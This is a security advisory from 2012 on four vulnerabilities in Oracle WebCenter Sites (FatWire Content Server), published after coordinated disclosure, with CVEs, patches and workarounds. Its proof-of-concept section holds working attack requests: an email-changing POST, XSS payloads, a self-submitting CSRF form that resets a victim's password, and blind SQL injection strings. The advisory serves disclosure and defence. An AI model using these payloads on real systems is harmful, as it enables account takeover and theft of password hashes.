Multiple vulnerabilities in Oracle WebCenter Sites

SEC Consult Vulnerability Lab Security Advisory < 20121017-2 >

=======================================================================

title: Multiple vulnerabilities in Oracle WebCenter Sites

product: Oracle WebCenter Sites (former FatWire Content Server)

vulnerable version: 6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1,

7.6.2, 11.1.1.6.0

fixed version: Patch information see sections below

CVE: CVE-2012-3183 (S0183794)

CVE-2012-3184 (S0183815)

CVE-2012-3185 (S0183827)

CVE-2012-3186 (S0183836)

impact: High

homepage: www.oracle.com/us/corporate/acquisitions/fatwire/index.html

found: 21.05.2012

by: F. Lukavsky

SEC Consult Vulnerability Lab

www.sec-consult.com

=======================================================================

 

Vendor description:

-------------------

FatWire Content Server is a predecessor product of Oracle WebCenter Sites.

 

FatWire Content Server is a software suite that allows you to create and

manage content to be published on your online site. The content is stored in

Content Server's database. You create and manipulate the content using Content

Server's interface, which provides a simple and intuitive way of accessing and

working with the CS database.

 

FatWire Content Server 7 - Advanced Interface User's Guide

<http://docs.oracle.com/cd/E28662_01/doc.76/content_server/cs_user_advanced_76p2.pdf>

 

 

Vulnerability overview/description:

-----------------------------------

1) Authorization Issues

The backend of the Content Server fails to validate authorization for

certain requests. This allows low privileged users manipulating data,

which they are not authorized to.

 

2) Cross-Site Scripting

The backend of the Content Server is prone to permanent and reflected

Cross-Site Scripting attacks. The vulnerability can be used to include

HTML- or JavaScript code to the affected web page. The code is executed

in the browser of users if they visit the manipulated site. The

vulnerability can be used to change the contents of the displayed site,

redirect to other sites or steal user credentials. Additionally, Portal

users are potential victims of browser exploits and JavaScript Trojans.

 

3) Cross-Site Request Forgery

An attacker can use Cross-Site Request Forgery to perform arbitrary web

requests with the identity of the victim without being noticed by the

victim. Although responses to these requests are not delivered to the

attacker, in many cases it is sufficient to be able to compromise the

integrity of the victim's information stored on the site or to perform

certain, possibly compromising requests to other sites.

 

4) SQL Injection

Due to insufficient input validation, the backend of FatWire Content

Server allows the injection of direct SQL commands. By exploiting the

vulnerability, an attacker gains access to all records stored in the

database with the privileges of database user CSAUTHORING.

 

 

Proof of concept:

-----------------

 

1) In the user profile, users are given the possibility to change their email

address. By supplying arbitrary user names, a low privileged user can

change the email address of other users:

	POST /cs/ContentServer HTTP/1.1

	_charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=<username of the target user>&email=<new email address>&selectedLocale=None&userid=userid%3D<own user id>%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit

 

2) The display name of page elements are included unsanitized when viewing

the element's details. Creating a new image with the following manipulated

parameter demonstrates this issue:

-----------------------------6083206021221

Content-Disposition: form-data; name="flexassets:name"



xxx.jsp</script><script>alert(document.location)</script>

-----------------------------6083206021221

 

 

Additionally, users can change their email address in the user profile

management. The email address is included unsanitized when viewing a

manipulated profile. Furthermore, by combining this issue with the attack

described in vulnerability (1), the Cross-Site Scripting payload can be

embedded in the user profile of arbitrary users. The following request

demonstrates this issue:

	POST /cs/ContentServer HTTP/1.1

	_charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=<username of the target user>&email=<manipulated email address>%3Cscript%3Ealert%28document.location%29%3C%2Fscript%3E&selectedLocale=None&userid=userid%3D<own user id>%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit

 

 

Many parameters are included unsanitized in error messages, which leads to

reflected Cross-Site Scripting vulnerabilities:

 http:// fatwire/cs/ContentServer?username=<script>alert(document.location)</script>&manageprofile=true&action=edit&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfileFront
   
   http:// fatwire/cs/ContentServer?StartItem=1327334935133"><script>alert(document.location)</script>&AssetType=Page&cs_environment=standard&pagename=OpenMarket%2FXcelerate%2FActions%2FNewContentFront&cs_formmode=WCM

 

These examples raise no claims of being complete.

 

 

3) A low privileged user can view all available users and their user ids

when creating a workflow report. When the target user submits the

following form while being logged in, an attacker can change the

password of the target user to an arbitrary value:

   <html>
	  <body onload="document.forms[0].submit()">
		<form action="http://fatwire/cs/ContentServer" method="POST">
		  <input type="hidden" name="_charset_" value="UTF-8" />
		  <input type="hidden" name="cs_environment" value="standard" />
		  <input type="hidden" name="cs_formmode" value="WCM" />
		  <input type="hidden" name="username" value="<target user>" />
		  <input type="hidden" name="email" value="" />
		  <input type="hidden" name="selectedLocale" value="None" />
		  <input type="hidden" name="userid" 
				 value="userid=<target user id>,ou=People" />
		  <input type="hidden" name="modifyPassword" value="on" />
		  <input type="hidden" name="manageprofile" value="true" />
		  <input type="hidden" name="password" value="<new password>" />
		  <input type="hidden" name="password2" value="<new password>" />
		  <input type="hidden" name="pagename" 
				 value="OpenMarket/Xcelerate/Admin/UserProfilePost" />
		  <input type="hidden" name="action" value="edit" />
		</form>
	  </body>
	</html>

 

 

4) The parameter selectedLocale of the user profile management form is

vulnerable to a SQL Injection vulnerability. The following true comparison

added to the SQL query results in the locale preference to be set to

English (United States):

	POST /cs/ContentServer HTTP/1.1

	_charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail@example.com&selectedLocale=None'+or+1%3d1--+&userid=userid% 3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit

 

The following request with a false comparison being added to the SQL query

results in the locale preference to be set to no preference:

 

POST /cs/ContentServer HTTP/1.1

	_charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail@example.com&selectedLocale=None'+or+1%3d2--+&userid=userid% 3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit

 

Observing these differences, arbitrary data of the database can be

extracted bitwise. This includes for example the password hashes of other

Content Server users.

 

 

Vulnerable / tested versions:

-----------------------------

The following installation has been tested: FatWire Content Server 7.6.1

Hotfix 4

 

 

The following versions have been supplied by Oracle and are vulnerable too:

6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1, 7.6.2, 11.1.1.6.0

 

 

 

Vendor contact timeline:

------------------------

2012-06-04: Contacting vendor through secalert_us@oracle.com

2012-06-07: Initial vendor response - issues will be verified

2012-06-21: Under investigation / Being fixed in main codeline

2012-07-24: Issue fixed in main codeline, scheduled for a future CPU

2012-10-15: Oracle: Advisory and patches will be released on 2012-10-16

2012-10-16: Oracle releases October 2012 CPU

2012-10-17: Public release of SEC Consult advisory

 

 

 

Solution:

---------

Apply latest patches, see:

 

www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html

support.oracle.com/rs

 

 

Workaround:

-----------

Restrict access to the backend of the FatWire Content Server.

Do not visit untrusted sites while being logged into the backend of the

FatWire Content Server.

Keep the time being logged in as short as possible and do not activate

the option to stay logged into the backend of the FatWire Content Server.

 

 

Advisory URL:

-------------

www.sec-consult.com/en/advisories.html

 

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Unternehmensberatung GmbH

 

Office Vienna

Mooslackengasse 17

A-1190 Vienna

Austria

 

Tel.: +43 / 1 / 890 30 43 - 0

Fax.: +43 / 1 / 890 30 43 - 25

Mail: research at sec-consult dot com

www.sec-consult.com

 

EOF F. Lukavsky / @2012